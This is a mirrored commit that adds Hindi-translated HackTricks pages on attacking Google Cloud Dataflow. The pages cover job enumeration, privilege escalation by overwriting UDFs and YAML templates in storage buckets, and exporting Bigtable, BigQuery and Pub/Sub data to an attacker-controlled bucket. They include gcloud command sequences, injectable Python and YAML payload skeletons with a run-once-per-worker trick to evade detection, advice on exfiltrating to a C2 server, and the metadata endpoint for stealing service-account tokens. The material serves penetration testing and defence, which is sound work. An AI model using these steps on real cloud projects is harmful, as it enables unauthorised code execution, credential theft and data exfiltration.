mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow
This commit is contained in:
+53
@@ -0,0 +1,53 @@
|
||||
# GCP - Dataflow Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
Dataflow के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### अन्य सेवाओं से डेटा exfiltrate करने के लिए Dataflow का उपयोग
|
||||
|
||||
**अनुमतियाँ:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink)
|
||||
|
||||
Dataflow job बनाने के अधिकार होने पर, आप GCP Dataflow templates का उपयोग करके Bigtable, BigQuery, Pub/Sub, और अन्य सेवाओं से डेटा attacker-controlled GCS buckets में export कर सकते हैं। यह एक शक्तिशाली post-exploitation technique है जब आपके पास Dataflow access होता है — उदाहरण के लिए [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write) के माध्यम से।
|
||||
|
||||
> [!NOTE]
|
||||
> आपको उस service account पर `iam.serviceAccounts.actAs` चाहिए जिसके पास स्रोत पढ़ने और sink में लिखने की पर्याप्त permissions हों। डिफ़ॉल्ट रूप से, यदि निर्दिष्ट नहीं किया गया है तो Compute Engine default SA का उपयोग किया जाता है।
|
||||
|
||||
#### Bigtable to GCS
|
||||
|
||||
देखें [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" पूर्ण पैटर्न के लिए। Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Export Bigtable to attacker-controlled bucket</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<YOUR_BUCKET>/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
#### BigQuery से GCS
|
||||
|
||||
Dataflow टेम्पलेट मौजूद हैं ताकि आप BigQuery डेटा को export कर सकें। अपने लक्ष्य फ़ॉर्मैट (JSON, Avro, आदि) के लिए उपयुक्त टेम्पलेट का उपयोग करें और आउटपुट को अपने बकेट की ओर निर्देशित करें।
|
||||
|
||||
#### Pub/Sub और स्ट्रीमिंग स्रोत
|
||||
|
||||
स्ट्रीमिंग पाइपलाइन्स Pub/Sub (या अन्य स्रोतों) से पढ़ सकती हैं और GCS में लिख सकती हैं। उस टेम्पलेट के साथ एक जॉब लॉन्च करें जो लक्ष्य Pub/Sub subscription से पढ़े और आपके नियंत्रित बकेट में लिखे।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,174 @@
|
||||
# GCP - Dataflow Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
|
||||
|
||||
Dataflow GCS में स्टोर किए गए UDFs और job template YAMLs की integrity को validate नहीं करता।
|
||||
यदि आपके पास bucket write access है, तो आप इन फाइलों को overwrite करके कोड inject कर सकते हैं, workers पर कोड execute कर सकते हैं, service account tokens चुरा सकते हैं, या data processing बदल सकते हैं।
|
||||
यह अटैक दोनों batch और streaming pipeline jobs के लिए लागू है। किसी pipeline पर इस अटैक को execute करने के लिए हमें job के चलने से पहले, पहले कुछ मिनटों में (जब तक job workers create नहीं होते) या job रन के दौरान पहले नए workers autoscaling के कारण spin up होने से पहले UDFs/templates को replace करना होगा।
|
||||
|
||||
**Attack vectors:**
|
||||
- **UDF hijacking:** Python (`.py`) और JS (`.js`) UDFs जो pipelines द्वारा reference किए जाते हैं और customer-managed buckets में stored होते हैं
|
||||
- **Job template hijacking:** Custom YAML pipeline definitions जो customer-managed buckets में stored हों
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> **Run-once-per-worker trick:** Dataflow UDFs और template callables **per row/line** invoke होते हैं। बिना समन्वय के, exfiltration या token theft हजारों बार चलेंगे, जिससे noise, rate limiting, और detection होगा। एक **file-based coordination** pattern का उपयोग करें: शुरुआत में जांचें कि क्या एक marker file (उदा. `/tmp/pwnd.txt`) मौजूद है; अगर मौजूद हो तो malicious code को skip करें; अगर नहीं है तो payload चलाएँ और वह file बनाएं। इससे payload **once per worker** चलेगा, per line नहीं।
|
||||
|
||||
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1. Enumerate Dataflow jobs and locate the template/UDF GCS paths:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Jobs की सूची बनाकर और describe करके template path, staging location, और UDF references प्राप्त करें</summary>
|
||||
```bash
|
||||
# List jobs (optionally filter by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
gcloud dataflow jobs list --project=<PROJECT_ID>
|
||||
|
||||
# Describe a job to get template GCS path, staging location, and any UDF/template references
|
||||
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
|
||||
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
|
||||
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
|
||||
```
|
||||
</details>
|
||||
|
||||
2. GCS से मूल UDF या job template डाउनलोड करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>bucket से UDF फ़ाइल या YAML template डाउनलोड करें</summary>
|
||||
```bash
|
||||
# If job references a UDF at gs://bucket/path/to/udf.py
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
|
||||
|
||||
# Or for a YAML job template
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
3. फ़ाइल को स्थानीय रूप से संपादित करें: दुष्ट पेलोड इंजेक्ट करें (नीचे दिए गए Python UDF या YAML स्निपेट्स देखें) और सुनिश्चित करें कि run-once coordination pattern का उपयोग किया गया है।
|
||||
|
||||
4. मूल फ़ाइल को ओवरराइट करने के लिए फिर से अपलोड करें:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>UDF या template को bucket में ओवरराइट करें</summary>
|
||||
```bash
|
||||
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
|
||||
|
||||
# Or for YAML
|
||||
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
5. अगले job run का इंतजार करें, या (streaming के लिए) autoscaling ट्रिगर करें (उदा. pipeline इनपुट को flood करें) ताकि नए workers spin up हों और modified file को pull करें।
|
||||
|
||||
#### Python UDF injection
|
||||
|
||||
यदि आप चाहते हैं कि worker आपके C2 server पर डेटा exfiltrate करे तो `urllib.request` का उपयोग करें और `requests` का नहीं।
|
||||
|
||||
`requests` classic Dataflow workers पर preinstalled नहीं होता।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
|
||||
def _malicious_func():
|
||||
# File-based coordination: run once per worker.
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return
|
||||
|
||||
# malicous code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
|
||||
def transform(line):
|
||||
# Malicous code entry point - runs per line but coordination ensures once per worker
|
||||
try:
|
||||
_malicious_func()
|
||||
except Exception:
|
||||
pass
|
||||
# ... original UDF logic follows ...
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### Job template YAML injection
|
||||
|
||||
एक callable के साथ `MapToFields` स्टेप इंजेक्ट करें जो एक coordination file का उपयोग करता है। YAML-आधारित pipelines के लिए जो `requests` को सपोर्ट करते हैं, इसका उपयोग करें यदि template में `dependencies: [requests]` घोषित है; अन्यथा `urllib.request` को प्राथमिकता दें।
|
||||
|
||||
क्लीनअप स्टेप (`drop: [malicious_step]`) जोड़ें ताकि pipeline अभी भी destination पर वैध डेटा लिखे।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>दुर्भावनापूर्ण `MapToFields` स्टेप और पाइपलाइन YAML में क्लीनअप</summary>
|
||||
```yaml
|
||||
- name: MaliciousTransform
|
||||
type: MapToFields
|
||||
input: Transform
|
||||
config:
|
||||
language: python
|
||||
fields:
|
||||
malicious_step:
|
||||
callable: |
|
||||
def extract_and_return(row):
|
||||
import os
|
||||
import json
|
||||
from datetime import datetime
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return True
|
||||
try:
|
||||
import urllib.request
|
||||
# malicious code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
except Exception:
|
||||
pass
|
||||
return True
|
||||
append: true
|
||||
- name: CleanupTransform
|
||||
type: MapToFields
|
||||
input: MaliciousTransform
|
||||
config:
|
||||
fields: {}
|
||||
append: true
|
||||
drop:
|
||||
- malicious_step
|
||||
```
|
||||
</details>
|
||||
|
||||
### Compute Engine से Dataflow Workers तक पहुँच
|
||||
|
||||
**अनुमतियाँ:** `compute.instances.osLogin` or `compute.instances.osAdminLogin` (with `iam.serviceAccounts.actAs` over the worker SA), or `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (with `iam.serviceAccounts.actAs`) for legacy SSH key injection
|
||||
|
||||
Dataflow workers Compute Engine VMs के रूप में चलते हैं। OS Login या SSH के माध्यम से workers तक पहुँच आपको metadata endpoint (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`) से SA tokens पढ़ने, डेटा में छेड़छाड़ करने, या मनमाना कोड चलाने की अनुमति देती है।
|
||||
|
||||
For exploitation details, see:
|
||||
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
|
||||
|
||||
## References
|
||||
|
||||
- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
|
||||
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
|
||||
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# GCP - Dataflow एनेमरेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
**Google Cloud Dataflow** एक पूरी तरह से प्रबंधित सेवा है जो **batch और streaming data processing** के लिए है। यह संगठनों को बड़े पैमाने पर डेटा को transform और analyze करने वाली pipelines बनाने में सक्षम बनाती है, और Cloud Storage, BigQuery, Pub/Sub, और Bigtable के साथ integrate होती है। Dataflow pipelines आपके प्रोजेक्ट के worker VMs पर चलते हैं; templates और User-Defined Functions (UDFs) अक्सर GCS buckets में संग्रहीत होते हैं। [Learn more](https://cloud.google.com/dataflow).
|
||||
|
||||
## घटक
|
||||
|
||||
एक Dataflow pipeline आमतौर पर इनमें से शामिल होता है:
|
||||
|
||||
**Template:** YAML या JSON definitions (और flex templates के लिए Python/Java code) जो GCS में स्टोर होते हैं और pipeline की संरचना और चरणों को परिभाषित करते हैं।
|
||||
|
||||
**Launcher (Flex Templates):** Flex Template launches के दौरान template वैलिडेट करने और कंटेनरों को तैयार करने के लिए एक short-lived Compute Engine instance उपयोग किया जा सकता है।
|
||||
|
||||
**Workers:** Compute Engine VMs जो असल डेटा प्रोसेसिंग टास्क निष्पादित करते हैं, और template से UDFs और निर्देश खींचते हैं।
|
||||
|
||||
**Staging/Temp buckets:** GCS buckets जो अस्थायी pipeline डेटा, job artifacts, UDF फाइलें, flex template metadata (`.json`) संग्रहीत करते हैं।
|
||||
|
||||
## Batch vs Streaming Jobs
|
||||
|
||||
Dataflow दो execution modes को सपोर्ट करता है:
|
||||
|
||||
**Batch jobs:** निश्चित, bounded dataset (उदा. एक log file, या table export) को प्रोसेस करते हैं। यह job एक बार चलकर completion पर terminate हो जाता है। Workers job की अवधि के लिए बनाए जाते हैं और समाप्ति पर shutdown हो जाते हैं। Batch jobs आमतौर पर ETL, historical analysis, या scheduled data migrations के लिए उपयोग किए जाते हैं।
|
||||
|
||||
**Streaming jobs:** अपरिमित, लगातार आने वाले डेटा (उदा. Pub/Sub messages, live sensor feeds) को प्रोसेस करते हैं। यह job तब तक चलता रहता है जब तक इसे explicitly बंद न किया जाए। Workers autoscaling के कारण ऊपर-नीचे स्केल कर सकते हैं; नए workers autoscaling के दौरान स्पॉन हो सकते हैं और startup पर pipeline components (templates, UDFs) को GCS से खींचेंगे।
|
||||
|
||||
## Enumeration
|
||||
|
||||
Dataflow jobs और संबंधित resources को enumerate करके service accounts, template paths, staging buckets, और UDF locations का पता लगाया जा सकता है।
|
||||
|
||||
### Job Enumeration
|
||||
|
||||
Dataflow jobs को enumerate करने और उनकी details प्राप्त करने के लिए:
|
||||
```bash
|
||||
# List Dataflow jobs in the project
|
||||
gcloud dataflow jobs list
|
||||
# List Dataflow jobs (by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
|
||||
# Describe job (includes service account, template GCS path, staging location, parameters)
|
||||
gcloud dataflow jobs describe <job-id> --region=<region>
|
||||
```
|
||||
जॉब विवरण template GCS path, staging location, और worker service account का खुलासा करते हैं — जो pipeline components को स्टोर करने वाले buckets की पहचान करने में उपयोगी हैं।
|
||||
|
||||
### Template and Bucket Enumeration
|
||||
|
||||
Job descriptions में संदर्भित buckets में flex templates, UDFs, या YAML pipeline definitions हो सकते हैं:
|
||||
```bash
|
||||
# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
|
||||
gcloud storage ls gs://<bucket>/
|
||||
|
||||
# List objects recursively
|
||||
gcloud storage ls gs://<bucket>/**
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataflow-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-dataflow-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Dataflow overview](https://cloud.google.com/dataflow)
|
||||
- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
|
||||
- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user